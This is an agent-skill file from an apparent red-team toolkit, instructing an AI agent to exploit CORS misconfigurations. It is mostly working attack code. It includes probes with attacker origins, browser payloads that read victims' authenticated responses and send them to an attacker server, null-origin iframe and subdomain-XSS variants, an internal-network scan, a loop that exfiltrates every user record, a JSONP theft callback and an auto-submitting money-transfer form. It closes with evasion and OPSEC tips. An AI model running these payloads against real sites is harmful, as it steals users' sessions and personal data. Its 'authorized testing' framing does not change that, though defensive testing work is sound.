Agent skill
cors-misconfiguration
Exploit CORS (Cross-Origin Resource Sharing) misconfigurations during authorized penetration testing.
Install this agent skill to your Project
npx add-skill https://github.com/blacklanternsecurity/red-run/tree/main/skills/web/cors-misconfiguration
SKILL.md
CORS Misconfiguration
You are helping a penetration tester exploit Cross-Origin Resource Sharing misconfigurations. The target application sets CORS headers that allow unauthorized origins to read cross-origin responses, potentially enabling credential theft, session hijacking, and sensitive data exfiltration. The goal is to demonstrate that an attacker-controlled origin can read authenticated responses from the target. All testing is under explicit written authorization.
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[cors-misconfiguration] Activated → <target>to the screen on activation. - Evidence → save significant output to
engagement/evidence/with descriptive filenames (e.g.,sqli-users-dump.txt,ssrf-aws-creds.json).
State Management
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Target endpoint that returns data you want to steal cross-origin (user profile, API keys, session info, PII)
- The endpoint must use cookie-based or automatic authentication
(CORS credential theft doesn't work with manual
Authorizationheaders added by JavaScript — those require the attacker's JS to already have the token) - A domain you control for hosting PoC pages (or use Burp Collaborator)
Step 1: Assess
Test the target's CORS configuration by sending requests with various Origin
headers. The critical combination is Access-Control-Allow-Origin set to an
attacker-controllable value plus Access-Control-Allow-Credentials: true.
Quick Detection
# Test with an arbitrary attacker origin
curl -sI -H "Origin: https://evil.com" \
"https://TARGET/api/endpoint" | grep -i "access-control"
# Test with null origin
curl -sI -H "Origin: null" \
"https://TARGET/api/endpoint" | grep -i "access-control"
# Test with a subdomain variant
curl -sI -H "Origin: https://sub.TARGET" \
"https://TARGET/api/endpoint" | grep -i "access-control"
Systematic Header Analysis
# Full CORS header scan across multiple origin patterns
ORIGINS=(
"https://evil.com"
"null"
"https://TARGET.evil.com"
"https://evil.TARGET"
"https://TARGETevil.com"
"https://evil-TARGET"
"https://sub.TARGET"
"https://TARGET_evil.com"
"https://TARGET%60evil.com"
)
for origin in "${ORIGINS[@]}"; do
echo "=== Origin: $origin ==="
curl -sI -H "Origin: $origin" \
-H "Cookie: session=VALID_SESSION" \
"https://TARGET/api/sensitive" 2>/dev/null | \
grep -i "access-control"
echo
done
What to Look For
| Response Headers | Severity | Exploitable? |
|---|---|---|
ACAO: https://evil.com + ACAC: true |
Critical | Yes — full credential theft |
ACAO: null + ACAC: true |
High | Yes — via sandboxed iframe |
ACAO: * (no credentials) |
Medium | Only if endpoint has sensitive data without auth |
ACAO: * + ACAC: true |
Invalid | Browsers reject this combination |
ACAO: https://sub.TARGET + ACAC: true |
Medium | Requires XSS on trusted subdomain |
| No CORS headers | None | Not exploitable via CORS |
ACAO = Access-Control-Allow-Origin, ACAC = Access-Control-Allow-Credentials
Step 2: Origin Reflection
The most common and critical misconfiguration — the server reflects the
Origin header directly into Access-Control-Allow-Origin.
Confirm
curl -sI -H "Origin: https://attacker-controlled.com" \
-H "Cookie: session=VALID_SESSION" \
"https://TARGET/api/user/profile"
# Vulnerable if response includes:
# Access-Control-Allow-Origin: https://attacker-controlled.com
# Access-Control-Allow-Credentials: true
Exploit — Data Exfiltration PoC
Host this on your attacker-controlled domain:
<!DOCTYPE html>
<html>
<body>
<h1>CORS PoC — Origin Reflection</h1>
<div id="result"></div>
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function() {
// Display stolen data
document.getElementById('result').innerText = this.responseText;
// Exfiltrate to attacker server
fetch('https://ATTACKER_SERVER/exfil', {
method: 'POST',
body: this.responseText
});
};
xhr.open('GET', 'https://TARGET/api/user/profile', true);
xhr.withCredentials = true; // Send victim's cookies
xhr.send();
</script>
</body>
</html>
Exploit — Fetch API Variant
fetch('https://TARGET/api/user/profile', {
credentials: 'include'
})
.then(r => r.text())
.then(data => {
// Exfiltrate
navigator.sendBeacon('https://ATTACKER_SERVER/exfil', data);
});
Step 3: Null Origin
The application whitelists null as a trusted origin. The null origin is
sent by sandboxed iframes, data: URIs, and local file access.
Confirm
curl -sI -H "Origin: null" \
-H "Cookie: session=VALID_SESSION" \
"https://TARGET/api/user/profile"
# Vulnerable if response includes:
# Access-Control-Allow-Origin: null
# Access-Control-Allow-Credentials: true
Exploit — Sandboxed Iframe with Data URI
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var xhr = new XMLHttpRequest();
xhr.onload = function() {
// Exfiltrate stolen data
location = 'https://ATTACKER_SERVER/exfil?data='
%2B encodeURIComponent(this.responseText);
};
xhr.open('GET', 'https://TARGET/api/user/profile', true);
xhr.withCredentials = true;
xhr.send();
</script>">
</iframe>
Exploit — Srcdoc Variant
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
fetch('https://TARGET/api/user/profile', {credentials: 'include'})
.then(r => r.text())
.then(data => {
fetch('https://ATTACKER_SERVER/exfil', {
method: 'POST',
body: data
});
});
</script>">
</iframe>
Step 4: Regex Bypass
When the server validates the Origin header with a regex, common implementation mistakes allow bypass.
Unescaped Dot
Server regex: ^https://api.example.com$ — dot matches any character.
# Register: apiXexample.com (any char replaces the dot)
curl -sI -H "Origin: https://apiXexample.com" \
"https://TARGET/api/endpoint" | grep -i "access-control"
Missing End Anchor
Server regex: ^https://example.com — no $ anchor.
# Any domain starting with example.com passes
curl -sI -H "Origin: https://example.com.evil.com" \
"https://TARGET/api/endpoint" | grep -i "access-control"
Missing Start Anchor
Server regex: example.com$ — no ^ anchor.
# Any domain ending with example.com passes
curl -sI -H "Origin: https://evilexample.com" \
"https://TARGET/api/endpoint" | grep -i "access-control"
Suffix Matching Without Dot
Server checks: origin ends with trusted.com (not .trusted.com).
curl -sI -H "Origin: https://nottrusted.com" \
"https://TARGET/api/endpoint" | grep -i "access-control"
Special Character Bypass
# Underscore (Chrome/Firefox accept in origin)
curl -sI -H "Origin: https://target_evil.com" \
"https://TARGET/api/endpoint" | grep -i "access-control"
# Backtick (Safari edge case)
curl -sI -H "Origin: https://target\`evil.com" \
"https://TARGET/api/endpoint" | grep -i "access-control"
# Curly brace (Safari)
curl -sI -H "Origin: https://target}.evil.com" \
"https://TARGET/api/endpoint" | grep -i "access-control"
Exploitation for Any Regex Bypass
Once you find an origin that passes validation, host the exfiltration PoC (from Step 2) on that domain.
Step 5: Subdomain Trust
The server trusts all subdomains: *.target.com. Exploitable if you can find
XSS on any subdomain.
Confirm Subdomain Trust
curl -sI -H "Origin: https://anything.TARGET" \
"https://TARGET/api/user/profile" | grep -i "access-control"
# Also check for wildcard
curl -sI -H "Origin: https://evil.sub.TARGET" \
"https://TARGET/api/user/profile" | grep -i "access-control"
Exploit via Subdomain XSS
If XSS exists on blog.target.com (or any other subdomain):
https://blog.target.com/post?q=<script>
fetch('https://api.target.com/user/profile',{credentials:'include'})
.then(r=>r.text())
.then(d=>fetch('https://ATTACKER_SERVER/exfil',{method:'POST',body:d}))
</script>
The XSS payload on the trusted subdomain makes a credentialed request to the API, which trusts the subdomain origin and returns data with CORS headers.
Subdomain Takeover + CORS
If a subdomain has a dangling DNS record (CNAME to unclaimed service), take it over and host the CORS exploitation PoC there. The API will trust the subdomain origin.
Step 6: Wildcard Without Credentials
Access-Control-Allow-Origin: * without Access-Control-Allow-Credentials: true.
Impact Assessment
- Browsers do not send cookies with wildcard CORS
- Only exploitable if the endpoint returns sensitive data without authentication (public API with internal data, unauthenticated admin panel)
- Useful for internal network pivoting — public website reads from internal services that use wildcard CORS
Exploit — Internal Network Pivot
If the victim visits an attacker page while on the internal network:
// Scan internal services accessible via wildcard CORS
const targets = [
'http://192.168.1.1/admin',
'http://10.0.0.5:8080/api/status',
'http://localhost:3000/debug',
'http://jenkins.internal:8080/api/json',
'http://grafana.internal:3000/api/org'
];
targets.forEach(url => {
fetch(url)
.then(r => r.text())
.then(data => {
if (data.length > 0) {
fetch('https://ATTACKER_SERVER/internal', {
method: 'POST',
body: JSON.stringify({url: url, data: data})
});
}
})
.catch(() => {});
});
Step 7: Advanced Techniques
CORS + Cache Poisoning
If the server reflects Origin in the response and the response is cached
without Vary: Origin:
# Check for missing Vary header
curl -sI -H "Origin: https://evil.com" \
"https://TARGET/page" | grep -i "vary"
# If Vary: Origin is missing, the cached response may include:
# Access-Control-Allow-Origin: https://evil.com
# Subsequent users get this cached response, enabling cross-origin reads
CORS + IDOR Chain
CORS misconfiguration combined with IDOR enables mass cross-origin data exfiltration:
// CORS allows reading responses, IDOR allows accessing any user's data
async function exfilAll() {
for (let id = 1; id <= 1000; id++) {
try {
const r = await fetch(`https://TARGET/api/users/${id}`, {
credentials: 'include'
});
if (r.ok) {
const data = await r.json();
await fetch('https://ATTACKER_SERVER/exfil', {
method: 'POST',
body: JSON.stringify({id: id, data: data})
});
}
} catch(e) {}
await new Promise(r => setTimeout(r, 100)); // rate limit
}
}
exfilAll();
XSSI / JSONP Bypass
<script> tags are not subject to CORS (SOP doesn't restrict script loading).
If the target has JSONP endpoints, CORS is irrelevant:
<script>
// Override the callback function to steal data
function jsonpCallback(data) {
fetch('https://ATTACKER_SERVER/exfil', {
method: 'POST',
body: JSON.stringify(data)
});
}
</script>
<!-- Browser loads script cross-origin, executes callback with data -->
<script src="https://TARGET/api/user?callback=jsonpCallback"></script>
Preflight Bypass
Simple requests (GET, POST with standard Content-Type) don't trigger preflight OPTIONS checks. The server processes the request — CORS only controls whether the browser lets JavaScript read the response.
<!-- This POST will be SENT (server processes it) even without CORS headers.
The browser just prevents reading the response.
Useful for blind CSRF-style attacks where you don't need the response. -->
<form action="https://TARGET/api/transfer" method="POST"
enctype="application/x-www-form-urlencoded">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="1000">
</form>
<script>document.forms[0].submit();</script>
Step 8: Escalate or Pivot
STOP and return to the orchestrator with:
- What was achieved (RCE, creds, file read, etc.)
- New credentials, access, or pivot paths discovered
- Context for next steps (platform, access method, working payloads)
OPSEC Notes
- CORS testing with curl is invisible to the target beyond normal HTTP requests
- Hosting PoC pages requires your own domain or Burp Collaborator
- The actual exploitation requires the victim to visit your attacker page — no server-side artifacts beyond the credentialed request
- High-volume CORS + IDOR enumeration (many requests through victim's browser) may trigger rate limiting or anomaly detection
Vary: Originabsence makes cache poisoning possible but also means your test may affect cached responses for other users — test carefully
Troubleshooting
No CORS Headers in Response
- The endpoint may not have CORS configured at all (not exploitable via CORS)
- Try adding
Access-Control-Request-Method: GETheader to trigger CORS - Try a preflight request:
curl -X OPTIONS -H "Origin: ..." TARGET - Check if CORS is only enabled on specific endpoints (API vs static pages)
- Look for JSONP as an alternative cross-origin data access method
Origin Reflected but No Credentials Header
Without Access-Control-Allow-Credentials: true, the browser won't send
cookies. Impact is limited to:
- Reading responses that don't require authentication
- Internal network pivoting (if endpoint has wildcard and serves sensitive data without auth)
PoC Works in curl but Not in Browser
- Check for Content Security Policy that blocks inline scripts or connections to your exfiltration server
- Verify
SameSitecookie attribute —SameSite=StrictorLaxmay prevent cookie transmission on cross-origin requests from<script>(Lax allows top-level navigations) - Test in a private/incognito window to avoid extension interference
- Use
SameSite=None; Securetest cookies if possible
Preflight (OPTIONS) Request Fails
- The server may allow simple requests but reject preflight for custom headers
- Restructure the exploit to use only simple request methods and headers
(GET, POST with
Content-Type: application/x-www-form-urlencoded) - If the exploit needs custom headers (e.g.,
Authorization), CORS preflight is required and must pass
Rate Limiting on Exfiltration Requests
- Add delays between requests in the PoC
- Use
navigator.sendBeacon()for single-shot exfiltration (more reliable than fetch for page unload scenarios) - Batch data and exfiltrate in fewer, larger requests
Recommended Agent Skills
Expand your agent's capabilities with these related and highly-rated skills.
credential-recovery
Offline credential and file recovery with hashcat and john. Use when any skill captures hashes (NTLM, Kerberos TGS/AS-REP, shadow, MSCACHE2) or encrypted files (ZIP, Office, PDF, KeePass, SSH key, 7z, RAR). Trigger phrases: "recover this hash", "offline recovery", "john", "hashcat", "zip2john", "password-protected file". Do NOT use for online password attacks (spraying, brute force against services) — use password-spraying instead.
remote-access-enumeration
Enumeration of remote access services: FTP, SSH, RDP, VNC, and WinRM. Checks anonymous access, default credentials, version vulnerabilities, and authentication methods. Use after network-recon identifies remote access ports.
smb-enumeration
SMB share enumeration, access testing, password policy extraction, and content searching. Enumerates shares via null session, guest, and authenticated access. Covers share listing, per-share access testing, MANSPIDER content search, and SMB vulnerability detection (signing, EternalBlue). Use after network-recon identifies SMB ports (139/445).
infrastructure-enumeration
Enumeration of infrastructure services: DNS, SMTP, SNMP, IPMI, NFS, TFTP, RPC/MSRPC, and HTTP/HTTPS surface detection. Checks zone transfers, open relays, default community strings, cipher zero, NFS exports, and web technology fingerprinting. Use after network-recon identifies infrastructure ports.
network-recon
Network reconnaissance, host discovery, port scanning, and OS fingerprinting. Produces a port/service map that the orchestrator uses to route to service-specific enumeration skills.
container-escapes
Container escape, Docker breakout, and Kubernetes exploitation.
Didn't find tool you were looking for?